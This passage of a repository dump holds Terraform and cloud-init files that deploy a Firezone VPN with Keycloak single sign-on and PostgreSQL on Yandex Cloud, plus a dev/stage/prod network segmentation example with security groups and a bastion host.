resource "yandex_vpc_subnet" "firezone-subnet" {
folder_id = var.values.folder_id
name = "firezone"
zone = "ru-central1-a"
network_id = var.values.vpc_id
v4_cidr_blocks = [var.values.firezone.subnet]
}
resource "yandex_dns_zone" "firezone-zone" {
folder_id = var.values.folder_id
name = "firezone-zone"
description = "Public zone for Firezone VPN"
zone = "${var.values.domain}."
public = true
}
resource "yandex_dns_recordset" "firezone-dns-rec" {
zone_id = yandex_dns_zone.firezone-zone.id
name = "${var.values.firezone.subdomain}"
type = "A"
ttl = 300
data = ["${yandex_vpc_address.firezone-public-ip.external_ipv4_address.0.address}"]
}
================================================
FILE: network-sec/remote-access-vpn/firezone/output.tf
================================================
output "output" {
value = {
dns_zone_id = yandex_dns_zone.firezone-zone.id # DNZ zone id
ssh_pub_key = tls_private_key.ssh.public_key_openssh # SSH public key for access VM
admin_password = random_string.firezone_admin_password.result # admin password for Firezone Web UI
pg_fqdn = yandex_mdb_postgresql_cluster.pg_cluster.host.0.fqdn # PostgreSQL cluster FQDN
pg_pass = random_string.postgres_user_password.result # PostgeSQL database user password
}
}
================================================
FILE: network-sec/remote-access-vpn/firezone/postgress.tf
================================================
resource "random_string" "postgres_user_password" {
length = 12
upper = true
lower = true
numeric = true
special = true
override_special = "!@%&*()-_=+[]{}<>:?"
}
resource "yandex_mdb_postgresql_cluster" "pg_cluster" {
folder_id = var.values.folder_id
name = "pg_cluster"
environment = "PRODUCTION"
network_id = var.values.vpc_id
security_group_ids = [yandex_vpc_security_group.postgres-sg.id]
config {
version = var.values.postgres.db_ver
resources {
resource_preset_id = "s2.micro"
disk_type_id = "network-ssd"
disk_size = 10
}
}
host {
zone = "ru-central1-a"
subnet_id = yandex_vpc_subnet.firezone-subnet.id
}
}
resource "yandex_mdb_postgresql_user" "pg_user" {
cluster_id = yandex_mdb_postgresql_cluster.pg_cluster.id
name = var.values.postgres.db_user
password = random_string.postgres_user_password.result
}
resource "yandex_mdb_postgresql_database" "pg_kc_db" {
cluster_id = yandex_mdb_postgresql_cluster.pg_cluster.id
name = var.values.postgres.db_kc_name
owner = yandex_mdb_postgresql_user.pg_user.name
lc_collate = "en_US.UTF-8"
lc_type = "en_US.UTF-8"
}
resource "yandex_mdb_postgresql_database" "pg_firezone_db" {
cluster_id = yandex_mdb_postgresql_cluster.pg_cluster.id
name = var.values.postgres.db_firezone_name
owner = yandex_mdb_postgresql_user.pg_user.name
lc_collate = "en_US.UTF-8"
lc_type = "en_US.UTF-8"
extension {
name = "pgcrypto"
}
extension {
name = "btree_gist"
}
extension {
name = "citext"
}
}
================================================
FILE: network-sec/remote-access-vpn/firezone/provider.tf
================================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.89.0"
}
}
}
================================================
FILE: network-sec/remote-access-vpn/firezone/security.tf
================================================
// Create security group for firezone control server
resource "yandex_vpc_security_group" "firezone-sg" {
name = "firezone-sg"
description = "Security group for Firezone"
folder_id = var.values.folder_id
network_id = var.values.vpc_id
ingress {
protocol = "TCP"
description = "For automatically issuing SSL certificates"
port = 80
v4_cidr_blocks = ["0.0.0.0/0"]
}
ingress {
protocol = "TCP"
description = "HTTPS access to Firezone web portal"
port = 443
v4_cidr_blocks = ["0.0.0.0/0"]
}
ingress {
protocol = "TCP"
description = "SSH from trusted public IP addresses"
port = 22
v4_cidr_blocks = var.values.trusted_ip_for_mgmt
}
ingress {
protocol = "UDP"
description = "WireGuard VPN"
port = var.values.firezone.wg_port
v4_cidr_blocks = ["0.0.0.0/0"]
}
ingress {
protocol = "ICMP"
description = "ICMP from trusted public IP addresses"
v4_cidr_blocks = var.values.trusted_ip_for_mgmt
}
egress {
protocol = "ANY"
description = "outbound traffic"
v4_cidr_blocks = ["0.0.0.0/0"]
}
}
// Create security group for PostgreSQL cluster
resource "yandex_vpc_security_group" "postgres-sg" {
name = "postgres-sg"
description = "Security group for PostgreSQL"
folder_id = var.values.folder_id
network_id = var.values.vpc_id
ingress {
protocol = "TCP"
description = "PostgreSQL"
port = 6432
v4_cidr_blocks = [var.values.firezone.subnet, var.values.keycloak.subnet]
}
egress {
protocol = "ANY"
description = "outbound traffic"
v4_cidr_blocks = ["0.0.0.0/0"]
}
}
================================================
FILE: network-sec/remote-access-vpn/firezone/templates/cloud-init_firezone.tpl.yaml
================================================
#cloud-config
users:
- name: ${firezone_vm_username}
sudo: ALL=(ALL) NOPASSWD:ALL
shell: /bin/bash
ssh-authorized-keys:
- "${firezone_ssh_key_pub}"
write_files:
- path: "/home/${firezone_vm_username}/.firezone/docker-compose.yml"
permissions: "0600"
content: |
# Example compose file for production deployment on Linux.
#
# Note: This file is meant to serve as a template. Please modify it
# according to your needs. Read more about Docker Compose:
#
# https://docs.docker.com/compose/compose-file/
#
#
x-deploy: &default-deploy
restart_policy:
condition: unless-stopped
delay: 5s
window: 120s
update_config:
order: start-first
version: '3.7'
services:
caddy:
image: caddy:2
volumes:
- $${FZ_INSTALL_DIR:-.}/caddy:/data/caddy
# See Caddy's documentation for customizing this line
# https://caddyserver.com/docs/quick-starts/reverse-proxy
command:
- /bin/sh
- -c
- |
cat < /etc/caddy/Caddyfile && caddy run --config /etc/caddy/Caddyfile
$${EXTERNAL_URL} {
log
reverse_proxy * 172.25.0.100:$${PHOENIX_PORT:-13000}
}
EOF
network_mode: "host"
deploy:
<<: *default-deploy
firezone:
image: firezone/firezone:$${VERSION:-latest}
ports:
- $${WIREGUARD_PORT:-51820}:$${WIREGUARD_PORT:-51820}/udp
env_file:
# This should contain a list of env vars for configuring Firezone.
# See https://www.firezone.dev/docs/reference/env-vars for more info.
- $${FZ_INSTALL_DIR:-.}/.env
volumes:
# IMPORTANT: Persists WireGuard private key and other data. If
# /var/firezone/private_key exists when Firezone starts, it is
# used as the WireGuard private. Otherwise, one is generated.
- $${FZ_INSTALL_DIR:-.}/firezone:/var/firezone
cap_add:
# Needed for WireGuard and firewall support.
- NET_ADMIN
- SYS_MODULE
sysctls:
# Needed for masquerading and NAT.
- net.ipv6.conf.all.disable_ipv6=0
- net.ipv4.ip_forward=1
- net.ipv6.conf.all.forwarding=1
networks:
firezone-network:
ipv4_address: 172.25.0.100
ipv6_address: 2001:3990:3990::99
deploy:
<<: *default-deploy
networks:
firezone-network:
enable_ipv6: true
driver: bridge
ipam:
config:
- subnet: 172.25.0.0/16
- subnet: 2001:3990:3990::/64
gateway: 2001:3990:3990::1
- path: "/home/${firezone_vm_username}/.firezone/init.sh"
permissions: "0740"
content: |
#!/bin/bash
usermod -a -G docker ${firezone_vm_username}
installDir="/home/${firezone_vm_username}/.firezone"
dc="docker-compose"
export FZ_INSTALL_DIR=$installDir
tlsOpts="tls {
on_demand
}"
docker run --rm firezone/firezone bin/gen-env > "$installDir/.env"
sed -i.bak "s/DEFAULT_ADMIN_EMAIL=.*/DEFAULT_ADMIN_EMAIL=${firezone_admin_email}/" "$installDir/.env"
sed -i.bak "s~EXTERNAL_URL=.*~EXTERNAL_URL=${firezone_url}~" "$installDir/.env"
sed -i.bak "s/DEFAULT_ADMIN_PASSWORD=.*/DEFAULT_ADMIN_PASSWORD=${firezone_admin_password}/" "$installDir/.env"
sed -i.bak "s/VERSION=.*/VERSION=${version}/" "$installDir/.env"
echo "TELEMETRY_ENABLED=false" >> "$installDir/.env"
echo "DATABASE_HOST=${db_host}" >> "$installDir/.env"
echo "DATABASE_PORT=6432" >> "$installDir/.env"
echo "DATABASE_NAME=${db_name}" >> "$installDir/.env"
echo "DATABASE_USER=${db_user}" >> "$installDir/.env"
sed -i.bak "s/DATABASE_PASSWORD=.*/DATABASE_PASSWORD=${db_pass}/" "$installDir/.env"
echo "DATABASE_POOL_SIZE=10" >> "$installDir/.env"
echo "DATABASE_SSL_ENABLED=false" >> "$installDir/.env"
echo "WIREGUARD_PORT=${wg_port}" >> "$installDir/.env"
echo "Migrating DB..."
$dc -f $installDir/docker-compose.yml run -e --rm firezone bin/migrate
echo "Creating admin..."
$dc -f $installDir/docker-compose.yml run -e --rm firezone bin/create-or-reset-admin
echo "Upping firezone services..."
$dc -f $installDir/docker-compose.yml up -d firezone caddy
runcmd:
- sleep 1
- sudo -i
- /home/${firezone_vm_username}/.firezone/init.sh
================================================
FILE: network-sec/remote-access-vpn/firezone/variables.tf
================================================
variable "values" {}
================================================
FILE: network-sec/remote-access-vpn/keycloak-config/keycloak-config.tf
================================================
# ================================
# Keycloak configuration resources
# ================================
# https://github.com/mrparkers/terraform-provider-keycloak/tree/master
provider "keycloak" {
client_id = "admin-cli"
username = module.settings.keycloak.admin_user
password = var.kc_admin_password
url = "https://${module.settings.keycloak.subdomain}.${module.settings.domain}:${module.settings.keycloak.port}"
}
resource "random_string" "kc_test_user_password" {
length = 12
upper = true
lower = true
numeric = true
special = true
override_special = "!@%&*()-_=+[]{}<>:?"
}
resource "keycloak_realm" "realm" {
realm = "firezone"
enabled = true
display_name = "Firezone"
display_name_html = "Firezone"
ssl_required = "external"
registration_allowed = false
registration_email_as_username = false
remember_me = false
verify_email = false
reset_password_allowed = false
login_with_email_allowed = false
internationalization {
supported_locales = [ "en" ]
default_locale = "en"
}
}
# Keycloak OpenID Connect client
resource "keycloak_openid_client" "firezone" {
realm_id = keycloak_realm.realm.id
client_id = "firezone"
name = "Keycloak for Firezone"
enabled = true
access_type = "CONFIDENTIAL"
standard_flow_enabled = true
direct_access_grants_enabled = true
use_refresh_tokens = true
pkce_code_challenge_method = "S256"
valid_redirect_uris = [
"https://${module.settings.firezone.subdomain}.${module.settings.domain}/auth/oidc/keycloak/callback/"
]
valid_post_logout_redirect_uris = [
"https://${module.settings.firezone.subdomain}.${module.settings.domain}/"
]
}
# Keycloak test user account
resource "keycloak_user" "test_user" {
realm_id = keycloak_realm.realm.id
username = module.settings.keycloak.test_user.name
enabled = true
email = module.settings.keycloak.test_user.email
email_verified = true
attributes = {}
initial_password {
value = "${random_string.kc_test_user_password.result}"
temporary = false
}
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-config/main.tf
================================================
module "settings" {
source = "../settings"
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-config/output.tf
================================================
output "keycloak_config_for_firezone" {
value = {
client_id = keycloak_openid_client.firezone.client_id
client_secret = keycloak_openid_client.firezone.client_secret
discovery_document_uri = "https://${module.settings.keycloak.subdomain}.${module.settings.domain}:${module.settings.keycloak.port}/realms/${keycloak_realm.realm.realm}/.well-known/openid-configuration"
}
sensitive = true
}
output "test_user_credentials" {
value = {
test_user_name = module.settings.keycloak.test_user.name
test_user_password = random_string.kc_test_user_password.result
}
sensitive = true
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-config/provider.tf
================================================
terraform {
required_providers {
keycloak = {
# https://github.com/mrparkers/terraform-provider-keycloak/tree/master
source = "mrparkers/keycloak"
version = "~> 4.2.0"
}
}
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-deploy/cert-manager.tf
================================================
# ==============================
# Certificate Manager resources
# Let's Encrypt certificate
# ==============================
# Create request to the Let's Encrypt service for Keycloak's VM certificate
resource "yandex_cm_certificate" "kc_le_cert" {
folder_id = var.values.folder_id
name = var.values.keycloak.le_cert_name
domains = ["${var.values.keycloak.subdomain}.${var.values.domain}"]
description = "LE Certificate for Keycloak VM"
managed {
challenge_type = "DNS_CNAME"
}
}
# Create domain validation DNS record for Let's Encrypt service
resource "yandex_dns_recordset" "validation_dns_rec" {
zone_id = var.values.dns_zone_id
name = yandex_cm_certificate.kc_le_cert.challenges[0].dns_name
type = yandex_cm_certificate.kc_le_cert.challenges[0].dns_type
data = [yandex_cm_certificate.kc_le_cert.challenges[0].dns_value]
ttl = 60
}
# Still waiting upon the cert will be issued (up to 30 min!)
data "yandex_cm_certificate_content" "cert_check_status" {
folder_id = var.values.folder_id
name = var.values.keycloak.le_cert_name
wait_validation = true
private_key_format = "PKCS1"
depends_on = [yandex_dns_recordset.validation_dns_rec]
}
# Save generated public keys chain to the specified file
resource "local_file" "kc_pub_chain" {
content = join("", [for el in data.yandex_cm_certificate_content.cert_check_status.certificates : format("%s", el)])
filename = "le-cert-pub-chain.pem"
depends_on = [data.yandex_cm_certificate_content.cert_check_status]
}
# Save generated private key to the specified file
resource "local_file" "kc_private_key" {
content = data.yandex_cm_certificate_content.cert_check_status.private_key
filename = "le-cert-priv-key.pem"
depends_on = [data.yandex_cm_certificate_content.cert_check_status]
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-deploy/kc-config.tf
================================================
# ===================================================================
# Copy of KC configuration variables to the keycloak-config TF module
# ===================================================================
locals {
kc_config_vars = templatefile("${path.module}/templates/kc-config.tpl", {
KC_ADM_PASS = random_string.keycloak_admin_password.result
})
}
resource "local_file" "kc_config_values" {
content = local.kc_config_vars
filename = "../keycloak-config/variables.tf"
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-deploy/keycloak-vm.tf
================================================
# Define a Keycloak image-id
data "yandex_compute_image" "kc_image" {
name = var.values.keycloak.image_name
folder_id = var.values.keycloak.image_folder_id
}
# Create Service Account (SA) for Keycloak VM
resource "yandex_iam_service_account" "kc_sa" {
name = "${var.values.keycloak.subdomain}-sa"
folder_id = var.values.folder_id
description = "for using on Keycloak's VM"
}
# Grant SA access to download certificates from Certificate Manager (CM)
resource "yandex_resourcemanager_folder_iam_member" "cm_cert_download" {
folder_id = var.values.folder_id
role = "certificate-manager.certificates.downloader"
member = "serviceAccount:${yandex_iam_service_account.kc_sa.id}"
}
# Grant SA access to Keycloak's VM metadata
resource "yandex_resourcemanager_folder_iam_member" "rm_viewer" {
folder_id = var.values.folder_id
role = "resource-manager.viewer"
member = "serviceAccount:${yandex_iam_service_account.kc_sa.id}"
}
resource "yandex_resourcemanager_folder_iam_member" "compute_viewer" {
folder_id = var.values.folder_id
role = "compute.viewer"
member = "serviceAccount:${yandex_iam_service_account.kc_sa.id}"
}
# Generate Keycloak admin password
resource "random_string" "keycloak_admin_password" {
length = 12
upper = true
lower = true
numeric = true
special = true
override_special = "!@%&*()-_=+[]{}<>:?"
}
# Create Keycloak VM
resource "yandex_compute_instance" "kc_vm" {
folder_id = var.values.folder_id
name = var.values.keycloak.subdomain
hostname = var.values.keycloak.subdomain
platform_id = "standard-v3"
zone = "ru-central1-a"
service_account_id = yandex_iam_service_account.kc_sa.id
resources {
cores = 2
memory = 8
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.kc_image.id
type = "network-ssd"
size = 80
}
}
network_interface {
subnet_id = yandex_vpc_subnet.kc_subnet.id
nat = true
nat_ip_address = yandex_vpc_address.kc_pub_ip.external_ipv4_address[0].address
security_group_ids = [yandex_vpc_security_group.kc_sg.id]
}
metadata = {
user-data = templatefile("${path.module}/templates/kc-vm-init.tpl", {
ADMIN_NAME = "${var.values.keycloak.vm_username}"
ADMIN_SSH_KEY = "${chomp(var.values.ssh_pub_key)}"
KC_FQDN = "${var.values.keycloak.subdomain}.${var.values.domain}"
KC_PORT = "${var.values.keycloak.port}"
KC_ADM_USER = "${var.values.keycloak.admin_user}"
KC_ADM_PASS = "${random_string.keycloak_admin_password.result}"
PG_DB_HOST = "${var.values.pg_fqdn}"
PG_DB_NAME = "${var.values.postgres.db_kc_name}"
PG_DB_USER = "${var.values.postgres.db_user}"
PG_DB_PASS = "${var.values.pg_pass}"
KC_CERT_NAME = "${var.values.keycloak.le_cert_name}"
KC_CERT_PUB = "le-cert-pub-chain.pem"
KC_CERT_PRIV = "le-cert-priv-key.pem"
KC_CERT_PUB_DATA = "${base64encode(local_file.kc_pub_chain.content)}"
KC_CERT_PRIV_DATA = "${base64encode(local_file.kc_private_key.content)}"
})
}
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-deploy/network.tf
================================================
# DNS record for Keycloak
resource "yandex_dns_recordset" "kc_dns_rec" {
zone_id = var.values.dns_zone_id
name = "${var.values.keycloak.subdomain}"
type = "A"
ttl = 300
data = ["${yandex_vpc_address.kc_pub_ip.external_ipv4_address[0].address}"]
}
# Create public ip address for Keycloak VM
resource "yandex_vpc_address" "kc_pub_ip" {
folder_id = var.values.folder_id
name = "${var.values.keycloak.subdomain}-public-ip"
external_ipv4_address {
zone_id = "ru-central1-a"
}
}
# Create subnet for Keycloak VM
resource "yandex_vpc_subnet" "kc_subnet" {
folder_id = var.values.folder_id
name = "keycloak"
zone = "ru-central1-a"
network_id = var.values.vpc_id
v4_cidr_blocks = [var.values.keycloak.subnet]
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-deploy/output.tf
================================================
output "kc_admin_password" {
value = random_string.keycloak_admin_password.result
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-deploy/provider.tf
================================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.89.0"
}
}
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-deploy/security.tf
================================================
# Create Security Group for Keycloak VM
resource "yandex_vpc_security_group" "kc_sg" {
name = "kc_sg"
description = "Security group for Keycloak"
folder_id = var.values.folder_id
network_id = var.values.vpc_id
egress {
description = "Permit ALL"
protocol = "ANY"
v4_cidr_blocks = ["0.0.0.0/0"]
}
ingress {
description = "icmp"
protocol = "ICMP"
v4_cidr_blocks = var.values.trusted_ip_for_mgmt
}
ingress {
description = "ssh"
protocol = "TCP"
port = 22
v4_cidr_blocks = var.values.trusted_ip_for_mgmt
}
ingress {
description = "https"
protocol = "TCP"
port = var.values.keycloak.port
v4_cidr_blocks = ["0.0.0.0/0"]
}
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-deploy/templates/kc-config.tpl
================================================
variable "kc_admin_password" {
description = "Keycloak admin user password"
type = string
default = "${KC_ADM_PASS}"
}
================================================
FILE: network-sec/remote-access-vpn/keycloak-deploy/templates/kc-vm-init.tpl
================================================
#cloud-config
datasource:
Ec2:
strict_id: false
ssh_pwauth: yes
users:
- name: "${ADMIN_NAME}"
sudo: ALL=(ALL) NOPASSWD:ALL
shell: /bin/bash
ssh-authorized-keys:
- "${ADMIN_SSH_KEY}"
write_files:
- path: "/root/${KC_CERT_PUB}"
permissions: "0644"
content: "${KC_CERT_PUB_DATA}"
- path: "/root/${KC_CERT_PRIV}"
permissions: "0644"
content: "${KC_CERT_PRIV_DATA}"
- path: "/root/kc-init.sh"
permissions: "0740"
content: |
#!/bin/bash
# SSL certificates normalization for use
base64 -d /root/${KC_CERT_PUB} > /root/pub.txt
mv -f /root/pub.txt /root/${KC_CERT_PUB}
base64 -d /root/${KC_CERT_PRIV} > /root/priv.txt
mv -f /root/priv.txt /root/${KC_CERT_PRIV}
echo "export KC_CERT_NAME=${KC_CERT_NAME}" > /root/kc_cert_name.sh
usermod -a -G docker ${ADMIN_NAME}
# Get Keycloak container image version (tag)
KC_VER=$(docker image ls keycloak --format "{{.Tag}}")
# Create Keycloak container
docker create --name=keycloak --hostname=keycloak --network=host \
--volume /etc/localtime:/etc/localtime:ro \
--env KEYCLOAK_ADMIN="${KC_ADM_USER}" \
--env KEYCLOAK_ADMIN_PASSWORD="${KC_ADM_PASS}" \
--env KC_FQDN="${KC_FQDN}" \
--env KC_PORT="${KC_PORT}" \
--env PG_DB_HOST="${PG_DB_HOST}" \
--env PG_DB_NAME="${PG_DB_NAME}" \
--env PG_DB_USER="${PG_DB_USER}" \
--env PG_DB_PASS="${PG_DB_PASS}" \
--env KC_CERT_PUB="${KC_CERT_PUB}" \
--env KC_CERT_PRIV="${KC_CERT_PRIV}" \
keycloak:$KC_VER
# Put SSL certificates to Keycloak container
docker cp /root/${KC_CERT_PUB} keycloak:/opt/keycloak/conf/${KC_CERT_PUB}
docker cp /root/${KC_CERT_PRIV} keycloak:/opt/keycloak/conf/${KC_CERT_PRIV}
# Start Keycloak container
docker start keycloak
runcmd:
- sleep 1
- sudo -i
- /root/kc-init.sh
================================================
FILE: network-sec/remote-access-vpn/keycloak-deploy/variables.tf
================================================
variable "values" {}
================================================
FILE: network-sec/remote-access-vpn/main/main.tf
================================================
module "settings" {
source = "../settings"
}
module "firezone" {
source = "../firezone"
values = module.settings
}
module "keycloak-deploy" {
source = "../keycloak-deploy"
values = merge(module.settings, module.firezone.output)
}
================================================
FILE: network-sec/remote-access-vpn/main/output.tf
================================================
output "firezone_url" {
value = "https://${module.settings.firezone.subdomain}.${module.settings.domain}"
}
output "firezone_admin_credentials" {
value = {
admin_email = module.settings.firezone.admin_email
admin_password = module.firezone.output.admin_password
}
sensitive = true
}
output "keycloak_url" {
value = "https://${module.settings.keycloak.subdomain}.${module.settings.domain}:${module.settings.keycloak.port}/admin"
}
output "keycloak_admin_credentials" {
value = {
admin_username = module.settings.keycloak.admin_user
admin_password = module.keycloak-deploy.kc_admin_password
}
sensitive = true
}
================================================
FILE: network-sec/remote-access-vpn/settings/outputs.tf
================================================
output "domain" {
value = "example.com" # Domain name
}
output "folder_id" {
value = "b1gentmqf1ve9uc54nfh" # Folder id where resources will be deployed
}
output "vpc_id" {
value = "enp48c1ndilt42veuw4x" # VPC id where resources will be deployed
}
output "trusted_ip_for_mgmt" {
value = ["A.A.A.A/32", "B.B.B.0/24"] # List of trusted public IP addresses for management of Firezone VM
}
output "firezone" {
value = {
subdomain = "vpn" # Subdomain for Firezone web portal
subnet = "192.168.1.0/24" # Subnet/Mask for Firezone VM
vm_username = "admin" # VM username
admin_email = "admin@example.com" # Admin email (login) for Firezone Web UI
version = "0.7.32" # Firezone version
wg_port = "51820" # WireGuard UDP port to use
}
}
output "postgres" {
value = {
db_ver = "15" # PostgeSQL cluster version
db_user = "dbadmin" # PostgeSQL database user name
db_kc_name = "kc-db" # PostgeSQL Keycloak database name
db_firezone_name = "firezone-db" # PostgeSQL Firezone database name
}
}
output "keycloak" {
value = {
subdomain = "kc" # Subdomain for Keycloak
subnet = "192.168.2.0/24" # Subnet/Mask for Keycloak VM
port = "8443" # Keycloak HTTPS port listener
image_folder_id = "b1g4n62gio32v96mdvrb" # Do not change! Folder ID of Keycloak image
image_name = "keycloak" # Do not change! ID of Keycloak image
vm_username = "admin" # VM username
admin_user = "admin" # Keycloak admin user name
le_cert_name = "kc" # Keycloak certificate name for Yandex Certificate Manager
test_user = { # test user for SSO and VPN verification
name = "user"
email = "user@example.com"
}
}
}
================================================
FILE: network-sec/segmentation/README.md
================================================
# Terraform and Security Groups Example 2
Mock dev/stage/prod environment with sample security groups to provide isolation
## Detailed analysis in the video
[](https://www.youtube.com/watch?v=MeJ8fTS2iGU&t=854s)
## Preliminary setup
- Fill out the terraform.tfvars_example file and rename it to terraform.tfvars.
- To the file, add your values of `cloud_id`, `folder_id` for all the four folders, and the `token`.
- In the variables.tf file, replace the value of the `bastion_whitelist_ip` variable with your own list of public IP addresses from which it is allowed to connect to the network: each address in double quotes, separated by a comma, for example: `default = ["1.1.1.1/32", "2.2.2.2/32"]`.
- Run `terraform init`.
- Run `terraform apply`.
================================================
FILE: network-sec/segmentation/README_RU.md
================================================
# Terraform and Security Groups Example 2
Mock dev/stage/prod environment with sample security groups to provide isolation
## Подбробный разбор на видео
[](https://www.youtube.com/watch?v=MeJ8fTS2iGU&t=854s)
## Предварительная настройка
Заполняем файл terraform.tfvars_example и переименовываем его в terraform.tfvars
В файл вносим свои значения cloud_id; folder_id (для всех 4 каталогов); token;
В файле variables.tf заменяем значение переменной `bastion_whitelist_ip` на собственный список публичных адресов с которых разрешено подключаться к схеме (через запятую, каждый адрес в двойных кавычках например `default = ["1.1.1.1/32", "2.2.2.2/32"]`)
- запускаем `terraform init`
- запускаем`terraform apply`
================================================
FILE: network-sec/segmentation/SG.tf
================================================
resource "yandex_vpc_security_group" "sg-inet-acc" {
name = "sg-inet-acc"
description = "defines which environments can access NAT-Instance for Internet access"
network_id = yandex_vpc_network.vpc-infra.id
ingress {
protocol = "ICMP"
description = "Allow pings from all networks for tshoot"
v4_cidr_blocks = ["10.0.0.0/8"]
}
ingress {
protocol = "TCP"
description = "CI-CD can only access well-known ports to update packages"
security_group_id = yandex_vpc_security_group.sg-ci-cd.id
port = 443
}
ingress {
protocol = "TCP"
description = "CI-CD can only access well-known ports to update packages"
security_group_id = yandex_vpc_security_group.sg-ci-cd.id
port = 80
}
ingress {
protocol = "TCP"
description = "stage can only access well-known ports to update packages"
security_group_id = yandex_vpc_security_group.sg-stage.id
port = 443
}
ingress {
protocol = "TCP"
description = "stage can only access well-known ports to update packages"
security_group_id = yandex_vpc_security_group.sg-stage.id
port = 80
}
egress {
protocol = "ANY"
description = "NAT-INSTANCE can access internet"
v4_cidr_blocks = ["0.0.0.0/0"]
}
}
resource "yandex_vpc_security_group" "sg-bastion" {
name = "sg-bastion"
description = "allows connecting to bastion only from whitelisted address"
network_id = yandex_vpc_network.vpc-infra.id
labels = {
type = "bastion-whitelist"
}
ingress {
protocol = "TCP"
description = "allow-ssh-from-trusted-ip"
v4_cidr_blocks = var.bastion_whitelist_ip
port = 22
}
ingress {
protocol = "ICMP"
description = "allow-icmp-from-trusted-ip"
v4_cidr_blocks = var.bastion_whitelist_ip
}
egress {
protocol = "ANY"
description = "we allow any egress, since we block on ingress"
v4_cidr_blocks = ["0.0.0.0/0"]
}
}
resource "yandex_vpc_security_group" "sg-ci-cd" {
name = "sg-ci-cd"
description = "allows ci-cd tools to manage stage and prod"
network_id = yandex_vpc_network.vpc-infra.id
ingress {
protocol = "TCP"
description = "allows remote access only through Bastion"
security_group_id = yandex_vpc_security_group.sg-bastion.id
port = 22
}
ingress {
protocol = "ICMP"
description = "allows ping only from bastion"
security_group_id = yandex_vpc_security_group.sg-bastion.id
}
ingress {
protocol = "TCP"
description = "allows for config sync for ci-cd workers"
predefined_target = "self_security_group"
port = 22
}
egress {
protocol = "ANY"
description = "we allow any ingress, since we block prod on ingress"
v4_cidr_blocks = ["0.0.0.0/0"]
}
}
resource "yandex_vpc_security_group" "sg-dev" {
name = "sg-dev"
description = "allows isolated dev environment, can be accesed from whitelisted ip"
network_id = yandex_vpc_network.vpc-infra.id
folder_id = var.dev_folder_id
ingress {
protocol = "TCP"
description = "allow-ssh-from-trusted-ip"
v4_cidr_blocks = var.bastion_whitelist_ip
port = 22
}
ingress {
protocol = "ICMP"
description = "allow-icmp-from-trusted-ip"
v4_cidr_blocks = var.bastion_whitelist_ip
}
egress {
protocol = "ANY"
description = "we allow any egress for sandbox, since we block prod on ingress"
v4_cidr_blocks = ["0.0.0.0/0"]
}
}
resource "yandex_vpc_security_group" "sg-stage" {
name = "sg-stage"
description = "allows ci-cd tools to manage stage and prod"
network_id = yandex_vpc_network.vpc-infra.id
folder_id = var.stage_folder_id
ingress {
protocol = "TCP"
description = "allows remote access through Bastion"
security_group_id = yandex_vpc_security_group.sg-bastion.id
port = 22
}
ingress {
protocol = "ICMP"
description = "allows ping through Bastion"
security_group_id = yandex_vpc_security_group.sg-bastion.id
}
ingress {
protocol = "TCP"
description = "allows deploy from ci-cd"
security_group_id = yandex_vpc_security_group.sg-ci-cd.id
port = 22
}
ingress {
protocol = "ICMP"
description = "allows ping from ci cd"
security_group_id = yandex_vpc_security_group.sg-ci-cd.id
}
egress {
protocol = "ANY"
description = "we allow any egress for stage, since we block prod on ingress"
v4_cidr_blocks = ["0.0.0.0/0"]
}
}
resource "yandex_vpc_security_group" "sg-prod" {
name = "sg-prod"
description = "allows ci-cd tools to manage stage and prod"
network_id = yandex_vpc_network.vpc-infra.id
folder_id = var.prod_folder_id
ingress {
protocol = "TCP"
description = "allows deploy from ci-cd only no manual access"
security_group_id = yandex_vpc_security_group.sg-ci-cd.id
port = 22
}
ingress {
protocol = "icmp"
description = "allows ping from ci cd only"
security_group_id = yandex_vpc_security_group.sg-ci-cd.id
}
egress {
protocol = "ANY"
description = "we allow any egress for stage, since we block prod on ingress"
v4_cidr_blocks = ["0.0.0.0/0"]
}
}
================================================
FILE: network-sec/segmentation/VM.tf
================================================
data "yandex_compute_image" "nat_instance" {
family = "nat-instance-ubuntu"
}
data "yandex_compute_image" "img_bastion" {
family = "ubuntu-2004-lts"
}
data "yandex_compute_image" "vm_img" {
family = "ubuntu-1804-lts"
}
data "template_file" "cloud_init_bastion" {
template = "${file("cloud-init-bastion.tpl.yaml")}"
vars = {
aws_key = "${module.sa_and_key.aws_key_id}"
aws_sec = "${module.sa_and_key.aws_secret}"
ssh_key = "${file(var.public_key_path)}"
}
}
data "template_file" "cloud_init" {
template = "${file("cloud-init.tpl.yaml")}"
vars = {
ssh_key = "${file(var.public_key_path)}"
}
}
resource "yandex_compute_instance" "nat-instance" {
zone = "ru-central1-a"
name = "nat-instance"
hostname = "nat-instance"
platform_id = "standard-v2"
resources {
cores = 2
memory = 4
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.nat_instance.id
type = "network-ssd"
size = 26
}
}
network_interface {
subnet_id = yandex_vpc_subnet.public-subnet.id
ip_address = "10.0.0.5"
nat = true
security_group_ids = [yandex_vpc_security_group.sg-inet-acc.id]
}
metadata = {
user-data = "${data.template_file.cloud_init.rendered}"
serial-port-enable = 1
}
}
resource "yandex_compute_instance" "vm-ci-cd" {
zone = "ru-central1-a"
name = "vm-ci-cd"
hostname = "vm-ci-cd"
platform_id = "standard-v2"
resources {
cores = 2
memory = 4
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.vm_img.id
type = "network-ssd"
size = 26
}
}
network_interface {
subnet_id = yandex_vpc_subnet.tools-subnet.id
ip_address = "10.50.0.5"
nat = false
security_group_ids = [yandex_vpc_security_group.sg-ci-cd.id]
}
metadata = {
user-data = "${data.template_file.cloud_init.rendered}"
serial-port-enable = 1
}
}
resource "yandex_compute_instance" "bastion" {
zone = "ru-central1-a"
name = "bastion"
hostname = "bastion"
platform_id = "standard-v2"
service_account_id = "${module.sa_and_key.s3_writer}"
resources {
cores = 2
memory = 4
}
boot_disk {
initialize_params {
